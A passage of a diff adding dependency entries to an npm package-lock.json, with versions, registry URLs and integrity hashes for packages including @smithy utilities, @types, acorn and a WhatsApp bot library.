+ } + }, + "node_modules/@smithy/querystring-parser": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-2.0.6.tgz", + "integrity": "sha512-i4LKoXHP7pTFAPjLIJyQXYOhWokbcFha3WWsX74sAKmuluv0XM2cxONZoFxwEzmWhsNyM6buSwJSZXyPiec0AQ==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/service-error-classification": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-2.0.0.tgz", + "integrity": "sha512-2z5Nafy1O0cTf69wKyNjGW/sNVMiqDnb4jgwfMG8ye8KnFJ5qmJpDccwIbJNhXIfbsxTg9SEec2oe1cexhMJvw==", + "optional": true, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/shared-ini-file-loader": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-2.0.8.tgz", + "integrity": "sha512-4u+V+Dv7JGpJ0tppB5rxCem7WhdFux950z4cGPhV0kHTPkKe8DDgINzOlVa2RBu5dI33D02OBJcxFjhW4FPORg==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/signature-v4": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-2.0.6.tgz", + "integrity": "sha512-4zNTi8w4sky07YKq7oYucZt4ogY00IEaS1NFDXxmCN5V/ywE0WiK+WMim+8wtYQmB0qy3oExZR4LoCAml6j/rA==", + "optional": true, + "dependencies": { + "@smithy/eventstream-codec": "^2.0.6", + "@smithy/is-array-buffer": "^2.0.0", + "@smithy/types": "^2.3.0", + "@smithy/util-hex-encoding": "^2.0.0", + "@smithy/util-middleware": "^2.0.0", + "@smithy/util-uri-escape": "^2.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/smithy-client": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-2.1.3.tgz", + "integrity": "sha512-nSMMp2AKqcG/ruzCY01ogrMdbq/WS1cvGStTsw7yd6bTpp/bGtlOgXvy3h7e0zP7w2DH1AtvIwzYBD6ejZePsQ==", + "optional": true, + "dependencies": { + "@smithy/middleware-stack": "^2.0.0", + "@smithy/types": "^2.3.0", + "@smithy/util-stream": "^2.0.9", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/types": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@smithy/types/-/types-2.3.0.tgz", + "integrity": "sha512-pJce3rd39MElkV57UTPAoSYAApjQLELUxjU5adHNLYk9gnPvyIGbJNJTZVVFu00BrgZH3W/cQe8QuFcknDyodQ==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/url-parser": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-2.0.6.tgz", + "integrity": "sha512-9i6j5QW6bapHZ4rtkXOAm0hOUG1+5IVdVJXNSUTcNskwJchZH5IQuDNPCbgUi/u2P8EZazKt4wXT51QxOXCz1A==", + "optional": true, + "dependencies": { + "@smithy/querystring-parser": "^2.0.6", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + } + }, + "node_modules/@smithy/util-base64": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-base64/-/util-base64-2.0.0.tgz", + "integrity": "sha512-Zb1E4xx+m5Lud8bbeYi5FkcMJMnn+1WUnJF3qD7rAdXpaL7UjkFQLdmW5fHadoKbdHpwH9vSR8EyTJFHJs++tA==", + "optional": true, + "dependencies": { + "@smithy/util-buffer-from": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-body-length-browser": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-body-length-browser/-/util-body-length-browser-2.0.0.tgz", + "integrity": "sha512-JdDuS4ircJt+FDnaQj88TzZY3+njZ6O+D3uakS32f2VNnDo3vyEuNdBOh/oFd8Df1zSZOuH1HEChk2AOYDezZg==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + } + }, + "node_modules/@smithy/util-body-length-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@smithy/util-body-length-node/-/util-body-length-node-2.1.0.tgz", + "integrity": "sha512-/li0/kj/y3fQ3vyzn36NTLGmUwAICb7Jbe/CsWCktW363gh1MOcpEcSO3mJ344Gv2dqz8YJCLQpb6hju/0qOWw==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-buffer-from": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.0.0.tgz", + "integrity": "sha512-/YNnLoHsR+4W4Vf2wL5lGv0ksg8Bmk3GEGxn2vEQt52AQaPSCuaO5PM5VM7lP1K9qHRKHwrPGktqVoAHKWHxzw==", + "optional": true, + "dependencies": { + "@smithy/is-array-buffer": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-config-provider": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-config-provider/-/util-config-provider-2.0.0.tgz", + "integrity": "sha512-xCQ6UapcIWKxXHEU4Mcs2s7LcFQRiU3XEluM2WcCjjBtQkUN71Tb+ydGmJFPxMUrW/GWMgQEEGipLym4XG0jZg==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-defaults-mode-browser": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-2.0.7.tgz", + "integrity": "sha512-s1caKxC7Y87Q72Goll//clZs2WNBfG9WtFDWVRS+Qgk147YPCOUYtkpuD0XZAh/vbayObFz5tQ1fiX4G19HSCA==", + "optional": true, + "dependencies": { + "@smithy/property-provider": "^2.0.7", + "@smithy/types": "^2.3.0", + "bowser": "^2.11.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@smithy/util-defaults-mode-node": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.0.9.tgz", + "integrity": "sha512-HlV4iNL3/PgPpmDGs0+XrAKtwFQ8rOs5P2y5Dye8dUYaJauadlzHRrNKk7wH2aBYswvT2HM+PIgXamvrE7xbcw==", + "optional": true, + "dependencies": { + "@smithy/config-resolver": "^2.0.7", + "@smithy/credential-provider-imds": "^2.0.9", + "@smithy/node-config-provider": "^2.0.9", + "@smithy/property-provider": "^2.0.7", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@smithy/util-hex-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-hex-encoding/-/util-hex-encoding-2.0.0.tgz", + "integrity": "sha512-c5xY+NUnFqG6d7HFh1IFfrm3mGl29lC+vF+geHv4ToiuJCBmIfzx6IeHLg+OgRdPFKDXIw6pvi+p3CsscaMcMA==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-middleware": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-2.0.0.tgz", + "integrity": "sha512-eCWX4ECuDHn1wuyyDdGdUWnT4OGyIzV0LN1xRttBFMPI9Ff/4heSHVxneyiMtOB//zpXWCha1/SWHJOZstG7kA==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-retry": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-2.0.0.tgz", + "integrity": "sha512-/dvJ8afrElasuiiIttRJeoS2sy8YXpksQwiM/TcepqdRVp7u4ejd9C4IQURHNjlfPUT7Y6lCDSa2zQJbdHhVTg==", + "optional": true, + "dependencies": { + "@smithy/service-error-classification": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@smithy/util-stream": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-2.0.9.tgz", + "integrity": "sha512-Fn2/3IMwqu0l2hOC7K3bbtSqFEJ6nOzMLoPVIhuH84yw/95itNkFBwVbIIiAfDaout0ZfZ26+5ch86E2q3avww==", + "optional": true, + "dependencies": { + "@smithy/fetch-http-handler": "^2.1.2", + "@smithy/node-http-handler": "^2.1.2", + "@smithy/types": "^2.3.0", + "@smithy/util-base64": "^2.0.0", + "@smithy/util-buffer-from": "^2.0.0", + "@smithy/util-hex-encoding": "^2.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-uri-escape": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-uri-escape/-/util-uri-escape-2.0.0.tgz", + "integrity": "sha512-ebkxsqinSdEooQduuk9CbKcI+wheijxEb3utGXkCoYQkJnwTnLbH1JXGimJtUkQwNQbsbuYwG2+aFVyZf5TLaw==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-utf8": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.0.0.tgz", + "integrity": "sha512-rctU1VkziY84n5OXe3bPNpKR001ZCME2JCaBBFgtiM2hfKbHFudc/BkMuPab8hRbLd0j3vbnBTTZ1igBf0wgiQ==", + "optional": true, + "dependencies": { + "@smithy/util-buffer-from": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "dependencies": { + "defer-to-connect": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@thi.ng/bitstream": { + "version": "2.2.26", + "resolved": "https://registry.npmjs.org/@thi.ng/bitstream/-/bitstream-2.2.26.tgz", + "integrity": "sha512-dBw0Nu5GvKXXoW7ldJ9lOpEXxu7QFxvPP05KY3nnmWdgo1XjFqk3evuMQD9iw1rRGifYPqZb/hIntFK4A5meOQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/postspectacular" + }, + { + "type": "patreon", + "url": "https://patreon.com/thing_umbrella" + } + ], + "dependencies": { + "@thi.ng/errors": "^2.3.3" + }, + "engines": { + "node": ">=12.7" + } + }, + "node_modules/@thi.ng/errors": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/@thi.ng/errors/-/errors-2.3.3.tgz", + "integrity": "sha512-sZ6aKV7p8J1o8EHTWBzH2/fx6Q4p6oJuyjYwXly7vidsSSWulFE9Rj5bqfMwMUfL6yNWKlEIRLMMDUvBPehAiA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/postspectacular" + }, + { + "type": "patreon", + "url": "https://patreon.com/thing_umbrella" + } + ], + "engines": { + "node": ">=12.7" + } + }, + "node_modules/@tokenizer/token": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz", + "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==" + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/@tootallnate/quickjs-emscripten": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz", + "integrity": "sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA==" + }, + "node_modules/@tsconfig/node10": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.9.tgz", + "integrity": "sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==" + }, + "node_modules/@tsconfig/node12": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", + "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==" + }, + "node_modules/@tsconfig/node14": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", + "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==" + }, + "node_modules/@tsconfig/node16": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz", + "integrity": "sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==" + }, + "node_modules/@types/cacheable-request": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", + "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", + "dependencies": { + "@types/http-cache-semantics": "*", + "@types/keyv": "^3.1.4", + "@types/node": "*", + "@types/responselike": "^1.0.0" + } + }, + "node_modules/@types/http-cache-semantics": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", + "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" + }, + "node_modules/@types/keyv": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", + "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/long": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/long/-/long-4.0.2.tgz", + "integrity": "sha512-MqTGEo5bj5t157U6fA/BiDynNkn0YknVdh48CMPkTSpFTVmvao5UQmm7uEF6xBEo7qIMAlY/JSleYaE6VOdpaA==" + }, + "node_modules/@types/minimatch": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz", + "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==" + }, + "node_modules/@types/node": { + "version": "20.4.10", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.4.10.tgz", + "integrity": "sha512-vwzFiiy8Rn6E0MtA13/Cxxgpan/N6UeNYR9oUu6kuJWxu6zCk98trcDp8CBhbtaeuq9SykCmXkFr2lWLoPcvLg==" + }, + "node_modules/@types/responselike": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", + "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/validator": { + "version": "13.11.1", + "resolved": "https://registry.npmjs.org/@types/validator/-/validator-13.11.1.tgz", + "integrity": "sha512-d/MUkJYdOeKycmm75Arql4M5+UuXmf4cHdHKsyw1GcvnNgL6s77UkgSgJ8TE/rI5PYsnwYq5jkcWBLuN/MpQ1A==" + }, + "node_modules/@types/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@types/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-xTE1E+YF4aWPJJeUzaZI5DRntlkY3+BCVJi0axFptnjGmAoWxkyREIh/XMrfxVLejwQxMCfDXdICo0VLxThrog==" + }, + "node_modules/@types/whatwg-url": { + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/@types/whatwg-url/-/whatwg-url-8.2.2.tgz", + "integrity": "sha512-FtQu10RWgn3D9U4aazdwIE2yzphmTJREDqNdODHrbrZmmMqI0vMheC/6NE/J1Yveaj8H+ela+YwWTjq5PGmuhA==", + "dependencies": { + "@types/node": "*", + "@types/webidl-conversions": "*" + } + }, + "node_modules/@wasm-audio-decoders/common": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/@wasm-audio-decoders/common/-/common-9.0.1.tgz", + "integrity": "sha512-s4KxPsxhD6e+EtjmHPzTmKJSJTEXHGYlBzUGGLN/plV01x3RecybW73nIMtdLLXL8k/zQ8HYFcA6d9lqCJcDjQ==", + "dependencies": { + "@eshaz/web-worker": "1.2.1" + } + }, + "node_modules/@wasm-audio-decoders/flac": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/@wasm-audio-decoders/flac/-/flac-0.1.13.tgz", + "integrity": "sha512-Ah0hurb+qO3kBjuBrmOSIDqe8DWkd/g5feoyd8jjoM46l//OmVrsG9lW0rnDJAKMhyMeRuWwCy/kv/SswzrW8Q==", + "dependencies": { + "@wasm-audio-decoders/common": "9.0.1", + "codec-parser": "2.4.3" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/eshaz" + } + }, + "node_modules/@wasm-audio-decoders/ogg-vorbis": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/@wasm-audio-decoders/ogg-vorbis/-/ogg-vorbis-0.1.8.tgz", + "integrity": "sha512-YwPSxN1xqGrVpON0OvUHwBnboKMA0P7n08j2K2SgZr5MI6ODWp2viW66XLL+gpNZBqRJhw+RdnyTUkZiZ70JOA==", + "dependencies": { + "@wasm-audio-decoders/common": "9.0.1", + "codec-parser": "2.4.3" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/eshaz" + } + }, + "node_modules/@whiskeysockets/baileys": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/@whiskeysockets/baileys/-/baileys-6.4.1.tgz", + "integrity": "sha512-u4eFC4fhBD6zvgzXFm/SdcFivG87CJK/xQ2H7O9wDiu3MIYrPF117lH5EQkRNqQ1Hg2jw8CgsYe7+soeA993ew==", + "dependencies": { + "@adiwajshing/keyed-db": "^0.2.4", + "@hapi/boom": "^9.1.3", + "audio-decode": "^2.1.3", + "axios": "^1.3.3", + "cache-manager": "^5.2.2", + "futoin-hkdf": "^1.5.1", + "libphonenumber-js": "^1.10.20", + "libsignal": "github:adiwajshing/libsignal-node", + "music-metadata": "^7.12.3", + "node-cache": "^5.1.2", + "pino": "^7.0.0", + "protobufjs": "^6.11.3", + "uuid": "^9.0.0", + "ws": "^8.13.0" + }, + "peerDependencies": { + "jimp": "^0.16.1", + "link-preview-js": "^3.0.0", + "qrcode-terminal": "^0.12.0", + "sharp": "^0.30.5" + }, + "peerDependenciesMeta": { + "jimp": { + "optional": true + }, + "link-preview-js": { + "optional": true + }, + "qrcode-terminal": { + "optional": true + }, + "sharp": { + "optional": true + } + } + }, + "node_modules/@whiskeysockets/baileys/node_modules/axios": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.4.0.tgz", + "integrity": "sha512-S4XCWMEmzvo64T9GfvQDOXgYRDJ/wsSZc7Jvdgx5u1sd0JwsuPLqb3SYmusag+edF6ziyMensPVqLTSc1PiSEA==", + "dependencies": { + "follow-redirects": "^1.15.0", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==" + }, + "node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==" + }, + "node_modules/acorn": { + "version": "8.8.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.2.tgz", + "integrity": "sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "dependencies": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + } + }, + "node_modules/acorn-globals/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-node": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz", + "integrity": "sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==", + "dependencies": { + "acorn": "^7.0.0", + "acorn-walk": "^7.0.0", + "xtend": "^4.0.2" + } + }, + "node_modules/acorn-node/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-walk": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/amp": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/amp/-/amp-0.3.1.tgz", + "integrity": "sha512-OwIuC4yZaRogHKiuU5WlMR5Xk/jAcpPtawWL05Gj8Lvm2F6mwoJt4O/bHI+DHwG79vWd+8OFYM4/BzYqyRd3qw==" + }, + "node_modules/amp-message": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/amp-message/-/amp-message-0.1.2.tgz", + "integrity": "sha512-JqutcFwoU1+jhv7ArgW38bqrE+LQdcRv4NxNw0mp0JHQyB6tXesWRjtYKlDgHRY2o3JE5UTaBGUK8kSWUdxWUg==", + "dependencies": { + "amp": "0.3.1" + } + }, + "node_modules/anime-wallpaper": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/anime-wallpaper/-/anime-wallpaper-1.1.1.tgz", + "integrity": "sha512-e2MMJd9B+t1eIxIpO7Z9zNddhhxArYwPHlpKWuVyQhEO4ZyJSPLmh8x2X9boT1cEMWr8wVBCZOo8oXV27faTFQ==", + "dependencies": { + "cheerio": "^1.0.0-rc.5", + "node-superfetch": "^0.1.11", + "random-useragent": "^0.5.0" + } + }, + "node_modules/ansi": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/ansi/-/ansi-0.3.1.tgz", + "integrity": "sha512-iFY7JCgHbepc0b82yLaw4IMortylNb6wG4kL+4R0C3iv6i+RHGHux/yUX5BTiRvSX/shMnngjR1YyNMnXEFh5A==" + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-base": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/any-base/-/any-base-1.1.0.tgz", + "integrity": "sha512-uMgjozySS8adZZYePpaWs8cxB9/kdzmpX6SgJZ+wbz1K5eYk5QMYDVJaZKhxyIHUdnnJkfR7SVgStgH7LkGUyg==" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/api-dylux": { + "version": "1.6.5", + "resolved": "https://registry.npmjs.org/api-dylux/-/api-dylux-1.6.5.tgz", + "integrity": "sha512-ulrQDmpvWE7wWH63hlUxjVganUj5srJ1ukUsCiMchWS88VfrsBpxx8uinWm8ztwzCqAfVXIiSWG2pUK0qnt3IA==", + "dependencies": { + "axios": "^0.21.1", + "cheerio": "^1.0.0-rc.12", + "cookie": "^0.5.0", + "dandi-api": "^1.1.0", + "fetch": "^1.1.0", + "file-type": "^17.1.1", + "form-data": "^4.0.0", + "human-readable": "^0.2.1", + "insta-fetcher": "^1.3.17", + "jsdom": "^19.0.0", + "jsdon": "^0.1.15", + "node-fetch": "^2.6.1", + "publish": "^0.6.0", + "qs": "^6.10.3", + "request": "^2.88.2", + "url": "^0.11.0", + "yt-search": "^2.10.3", + "ytdl-core": "^4.11.5" + } + }, + "node_modules/api-dylux/node_modules/@tootallnate/once": { + "version": "2.0.0", + 